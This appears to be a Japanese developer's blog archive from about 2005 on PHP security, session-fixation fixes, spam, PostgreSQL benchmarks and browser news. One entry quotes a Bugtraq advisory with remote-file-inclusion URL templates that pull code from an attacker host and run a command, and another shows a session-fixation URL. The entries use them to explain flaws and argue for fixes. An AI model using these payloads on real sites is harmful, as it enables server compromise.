カテゴリー: Computer

  • NSAがメールを盗聴しているか確認する方法

    NSAがメールを盗聴(メールのみではなくエシュロンでありとあらゆる通信を傍受している)している事は有名ですが、盗聴されているか確認する手法の紹介です。

    秘密のURLを使って盗聴を検知する手法です。

    1. フリーメールサービス(Google/Yahoo/Microsoftなど)にアカウントを作成する
    2. 米国以外の国のISPアカウントを作成する(日本のアカウントではダメ?かも)
    3. 自分だけが知っているURLを作成する
    4. NSAが関心を持ちそうなメール(英語?アラブ語?)を1、2で作成したアカウントでメールのやり取りをする。メールの中には3で作成したURLを含める
    5. NSAらしきコンピュータから3のURLへのアクセスログがあるか確認する

    この方法だとNSAが盗聴を実行しているか確認できます。会社のシステム管理者が従業員を監視しているか確認する方法に応用されそうな気がします。

    しかし、テロリストは暗号化しないでメールでやり取りしているのでしょうか?案外テキトーに平文で通信しているのでしょうか? 現状では暗号化しているだけで目立つので暗号化したメールの方がテロリストには危険なのかも知れません。

  • Strict Session管理パッチ

    Hardedned PHPプロジェクトのStefan EsserさんがPHP SESSIONをより安全に運用するパッチを公開しています。

    このパッチはPHPのセッション管理の問題に対応します。PHPのSESSIONモジュールがSession Fixation(セッションIDの固定化)に対して脆弱であることは随分前から広く(?)知られていました。このパッチを適用すればSession Fixation問題も随分改善します。

    例えば、PHP SESSIONを利用しているサイトで

    http://example.jp/index.php

    と言うURLがクッキーを利用したセッション管理行っているとします。セッションデータが初期化されサーバに保存されているか、されていないかに関わらず、ブラウザが送信したクッキーによって指定されたセッションIDがそのまま使われます。このパッチはセッションIDのデータが無ければ、セッションIDを再生成してセッションを開始するよう動作が変わります。(通常のPHPのセッション管理はpermissiveなセッション管理と呼ばれています。パッチ適用後はstrictなセッション管理も選択できるようになります。)クッキーだけを使ったセッション管理では、セッションIDが固定化する問題はあまり深刻な問題ではありませんが、好ましい動作とは言いがたいです。

    session.use_only_cookiesがoffの場合、問題は深刻です。

    http://example.jp/index.php?PHPSESSID=123456

    とすると、セッションデータが無い場合、セッションIDが123456になってしまいます。session.use_cookies=on設定(デフォルト値)でクッキーを利用するセッション管理でも、PHPSESSID=123456をクッキーに設定されます。つまり、デフォルトの状態のPHPのセッション管理はsession.use_only_cookiesがoffである為、普通にSession Fixationに脆弱になってしまいます。一応、サイト外のURLに埋め込まれたセッションIDを受け付けないようにするsession.referer_check設定もあるのですが、REFERERを使っているので十分な対策とはいえません。許可するドメインなどを記載する設定項目なので、当然ですが、デフォルトでは何も設定されていません。何も設定されていない時はREFERERチェックは行われません。

    追記:色々書いていますが、要するにデフォルト設定のPHPだとSession Fixationに脆弱である、と言うことです。

    より厳格なセッションID管理を行うには、パッチを適用後、

    session.use_strict_mode = on

    と設定するだけです。

    このパッチを適用するとユーザ定義セッションセーブハンドラで以下の2つの関数が利用(定義)できるようになります。

    string create_sid()
    bool validate_sid($key)

    create_sid関数は新しいセッションIDを作成します。
    validate_sid関数は$keyが正しいかチェックします。

    ところで、デフォルトではsession.use_only_cookiesはoffに設定されています。しかし、普通のサイトはsession.use_only_cookiesはONで運用するべきです。もし、offで運用されている場合、強くONに変更して運用することをお勧めします。先ほども書きましたが、session.use_only_cookies=onであればSession Fixation問題はそれほど重大な問題とは言えません。パッチを適用していない場合でもsession.use_only_cookies=onであればそれほど心配する必要はありません。

    # 随分古いInternet ExplorerではXMLHttpRequestで他のサイトにリクエスト
    # を送信できたりしました。しかし、今は出来ないのでクッキーを利用した
    # セッション管理に対して効果的なSession Fixation攻撃は出来ないと思い
    # ます。

  • コメント&トラックバックスパムが…

    コメント&トラックバックスパムが増えてきています。さっきも20数個のスパムを削除しました。TODOとしてCAPTCHA導入… しかし、CAPTCHAを入れるとアクセシビリティの問題も発生するので公共系サイトでは気をつけないとならないですね。

    ところでWikipediaのCAPTCHAページ、リンクが豊富ですね。
    http://ja.wikipedia.org/wiki/Captcha

    ITMediaでもコメント&トラックバックSPAMが話題になってますね。
    http://www.itmedia.co.jp/enterprise/articles/0512/20/news046.html
    しかし、何故かCAPTCHAに言及してませんね。

  • FedoraCore5 test1

    FC5でSUNのJavaパッケージをインストールすると問題が発生するらしい。リリース版でも同じかな?

  • やはり、まだある単純リモートスクリプト実行バグ..

    Bug-TraqからMarmaraWeb E-commerceにリモートスクリプト実行脆弱性があることがレポートされていました。グーグルで検索しても日本語サイトが無いことから日本では利用されていないECアプリと思います。

    MarmaraWeb E-commerce Remote Command Exucetion

    ###Hi all
    ###B3g0k[at]hackermail.com
    ###Kurdish Hacker
    ###Special Thanx All Kurdish Hackers
    ###Freedom For Ocalan!!!
    ###———————————–
    ###MarmaraWeb E-commerce Remote Command Exucetion
    ###———————————–
    ###Site: http://www.marmaraweb.com/referanslar.php#eticaret
    ###
    ###Description:An E-commerce scirpt coded by MarmaraWeb.
    ### selling produces from internet like books,DVDs,roasted chickpeas etc..
    ###=))
    ###
    ###
    ###Vulnerable:http://[target]/index.php?page=http://yourevilcode?&cmd=
    ###
    ###Vulnerable:http://[target]/?page=http://yourevilcode?&cmd=
    ###
    ###
    ###Solution : no I’m sorry =))
    ###
    ###Contact : B3g0k[at]hackermail[dot]com
    ###B3g0k [Kurdish Hacker]
    ###Freedom For Ocalan!!!
    ###Her B�j� Defacera Kurd!!!
    ###Greetz KHC,Serwebun Team,KHA,KCA

    今年の6月頃にPHPプロジェクトの開発者MLで「allow_url_fopenがINI_SYSTEMに変更されたのはセキュリティ上問題である」と問題提起(詳しくはこのブログエントリを参照)したのですが、「何のセキュリティ対策になるのか分からない」とメールする人もいるくらいでした… 

    このレポートにあるような脆弱性はPHP初心者にはありがちなミスです。やはり私が提案していた対策は必要だと確認できる脆弱性でした。

    自分の身は自分で守る、ということでallow_url_fopenをINI_SYSTEMからINI_ALLに変更するパッチはこちらです。

  • mb_send_mailの脆弱性を利用したSPAM送信

    mb_send_mailのRFC822形式の宛先ヘッダの処理がmailと違った為にSPAMの踏台にされた、という問題があったのですがどのプログラムかな?と思いつつ調べていなかったのですが、たまたま見付けました。serendipityだったようです。

    http://blog.s9y.org/archives/80-Arbitrary-header-inclusion-in-Mail-Entry-plugin.html
    http://www.s9y.org/forums/viewtopic.php?p=17772
    http://xtian.goelette.info/index.php?url=archives/38-Email-injection-attack.html

  • Prepared Statementで20%以上の性能アップ

    私が作ったPthread版 pgbenchに、永安さんからprepared statementを使用するパッチを頂きました。

    残念ながら私はまだ試せていませんが20%以上性能が向上したようです。

  • PostgreSQL 8.1.1リリース

    PostgreSQL 8.1.1がリリースされました。

    http://www.postgresql.org/ のLATEST RELEASESからダウンロードできます。

    Outer Join、CHECK文の不具合、sub selectの不具合などが修正されているそうです。他にも色々修正されているので不具合でお困りの方は試してみてはいかがでしょうか?

    Athlon64 3200+/3GB/SATA HDD/1GbE/MomongaLinux x86_64開発版 にPostgreSQL 8.1.1をインストールしてPentiumDのマシンからpgbenchを実行した結果 (スケールファクタ 10、TCP接続設定以外はデフォルト)

    [yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000
    starting vacuum…end.
    transaction type: TPC-B (sort of)
    scaling factor: 10
    number of clients: 10
    number of transactions per client: 1000
    number of transactions actually processed: 10000/10000
    tps = 282.428887 (including connections establishing)
    tps = 282.667102 (excluding connections establishing)
    [yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000 -S
    starting vacuum…end.
    transaction type: SELECT only
    scaling factor: 10
    number of clients: 10
    number of transactions per client: 1000
    number of transactions actually processed: 10000/10000
    tps = 4822.840200 (including connections establishing)
    tps = 4892.360725 (excluding connections establishing)
    [yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000 -N
    starting vacuum…end.
    transaction type: Update only accounts
    scaling factor: 10
    number of clients: 10
    number of transactions per client: 1000
    number of transactions actually processed: 10000/10000
    tps = 301.807334 (including connections establishing)
    tps = 302.361132 (excluding connections establishing)

    share_buffers=20000 (デフォルトは1000)

    [yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000
    starting vacuum…end.
    transaction type: TPC-B (sort of)
    scaling factor: 10
    number of clients: 10
    number of transactions per client: 1000
    number of transactions actually processed: 10000/10000
    tps = 329.863325 (including connections establishing)
    tps = 330.396068 (excluding connections establishing)
    [yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000 -S
    starting vacuum…end.
    transaction type: SELECT only
    scaling factor: 10
    number of clients: 10
    number of transactions per client: 1000
    number of transactions actually processed: 10000/10000
    tps = 5771.386160 (including connections establishing)
    tps = 5875.513153 (excluding connections establishing)
    [yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000 -N
    starting vacuum…end.
    transaction type: Update only accounts
    scaling factor: 10
    number of clients: 10
    number of transactions per client: 1000
    number of transactions actually processed: 10000/10000
    tps = 397.720948 (including connections establishing)
    tps = 398.210553 (excluding connections establishing)

  • VS 2005のExpress Editionは事実上,無償提供へ

    自分のWikiのAdWords広告に以下のようなVisual Studioの広告が載っていたので見てみました。

    Web アプリを開発するなら
    Microsoft Visual Studio 2005 シンプルで使いやすい充実の機能満載

    Beta2版とは言え自由にダウンロードできそうな感じだったので検索してみると

    VS 2005のExpress Editionは事実上,無償提供へと言う記事を見つけました。1ヶ月も前の事なんですね。

    1年間限定らしいのでVSを持っていない方はとにかく正式版がリリースされたらダウンロードだけはしておいても良いかも知れません。

  • 改訂版PHPポケットリファレンスに載るはすだったページ

    備考:かなり古いブログですが公開し忘れしていた分です。

    改訂版PHPポケットリファレンスに載るはずだった「言語仕様」に関する記述をWikiに載せました。私が直接聞いた感想ではこの言語仕様のページを気に入っているとおっしゃる方も多かったです。短いのでPHPをまったく知らない方が感じをつかむには便利(?)かも知れません。

  • 脆弱性がオークションに

    eBayでEXCELの脆弱性が売りにだされたそうです。eBayの基準に合わないとして削除されたそうですが、0.01ドル(1セント)から売りに出され21件の応札があり$56にまで値上がりしたそうです。
    # 似たような事は前にもあったと思いますが見つけられませんでした。

    qmailの脆弱性なら作者から$500、qmailのユーザグループから$1000djbdnsの脆弱性なら$500の懸賞金がもらえます。

    途中で削除されたとはいえ$56は高いのか安いのか?

  • PHP/tips/モジュールにバグがあった場合の対処

    今更… という方もいらっしゃるかも知れませんが「PHP/tips/モジュールにバグがあった場合の対処」ページをWikiに作りました。

    PHPのモジュールは基本的にはモジュールAPIが同じであればどのPHPと一緒に使っても構いません。つまり前のバージョンのモジュールが期待通りに動作していたのであれば、新しいPHPで古いモジュールを使えばよいのです。

    # ただしセキュリティFIXが含まれる場合はセキュリティ用のパッチ
    # を別途含めることをお忘れなく。

  • IE7の新機能

    Intranet ZoneでもActiveXは自動インストールできなくなるようです。

    http://blogs.msdn.com/ie/archive/2005/12/07/501075.aspx

    As a safety precaution in IE7, we have set the default for the Trusted Sites zone to Medium, the same level as the Internet zone in IE6.

    管理者権限が無くてもプラグインがインストールできるのは良いですね。

    http://blogs.msdn.com/ie/archive/2005/09/20/471975.aspx

    1. Start IE with elevated permissions: click Start, point to All Programs, right-click IE, and then select Run Elevated.
    2. Perform the ActiveX installation.
    3. Exit the current instance of IE.
    4. Start a new instance of IE normally (without Administrator permissions).

    Webサイトを運用する側としてはSSLv2が使われなくなる点に注意が必要かも知れません。

    Microsoft will also discontinue the use of the SSLv2 (Secure Socket Layer) protocol in IE7 and use the stronger TLSv1 (Transport Layer Security) protocol—part of an overall plan to improve the security and user experience for HTTPS connections.

    しかし互換性の為にいろいろやってますね。管理者権限を持たないユーザでWindowsを使っていると分かりますが、管理者権限を持っている事が前提に作られているアプリケーションはかなりあります。Windowsの歴史と仕様などからある程度仕方ない部分もあるのですが、普通のユーザでWindowsを使うと本当に使いづらいです。OSXは気にならないように作られているのですけどね。


    20周年記念WinXPアップグレードパッケージ
    を買うとVistaのプレビュー版がもれなくもらえるそうです。そのためだけに3万弱は高過ぎですが、WinME、Win2000等をアップグレードしたい方にはちょうど良いかも?

  • PCセキュリティ対策は日米そう変わらず?

    News.comの記事によると、平均的(?)な家庭のPCは

    -56%はアンチウィルスソフトをインストールしていないか、1週間以内にシグニチャを更新していない。
    -44%はファイアーウォールを正しく設定しない。
    -38%はスパイウェア対策がとられていない。

    とあります。これでも昨年に比べるとかなり改善されているそうです。

    MSの悪意のあるプログラム駆除ツールにWinnyのウィルス(Antinny)も含まれるようになり20万件駆除したそうです。それでも6割りほどしかウィルスが発生させるトラフィックが低下しなかった、と言うことは4割程度のユーザは適切な時期にWindows Updateを実行していない事になります。再感染もあったり、Winnyを使うユーザ層が一般的なユーザを代表しているとは言えないので直接は比較できませんが、Antinnyに感染しているPCがホームPCのみと仮定すると日米ともにホームユーザの安全性対策は同じ程度なのかも知れません。

  • 気を取り直してPHP5.1.2リリース予定

    PHP 5.1.0がリリースされた時のブログエントリに「PHP 5.1を評価しはじめるのはPHP5.1.2からでは」とコメントを書きました。そのPHP5.1.2ですが次のような予定にしては?と本家のMLには投稿されています。

    PHP 5.1.2から評価しては、と自分で書いていますが、バグを見つけてバグデータベース

    http://bugs.php.net/

    に投稿するには今が良い時期と思います。

    Date Summary: (not be confused with date extension ;-) )

    Until Dec. 10, 2005: Minor features and bug fixes requiring major changes
    Dec. 22, 2005: RC1
    Jan. 05, 2006: RC2
    Jan. 12, 2006: Final (pending critical issues since RC2)

    Planned Changes:

    * Resolve all currently opened Engine bugs, ideally 5.1.2 will be
    released without any unresolved engine problems.
    * Resolve all currently open PDO bugs.
    * Enable xmlreader extension by default, as we do for all XML
    extensions.
    * Introduce hash extension via a symlink from pecl into core.
    This extension introduces native implementation of common hash
    algorithms with streams support, making it an excellent solution
    for people requiring better hashing then provided by md5/sha1.
    Merits of this extensions have been discussed on this list few
    weeks ago, just scroll past the recent flame wars ;-)
    * Introduce xmlwriter extension via a symlink from pecl into core and as
    other XML extension enable it by default.
    * Backport oci extension into 5.1, this is mostly for bug fixing
    reasons, as the new code fixes over a dozen bug reports in that
    extension.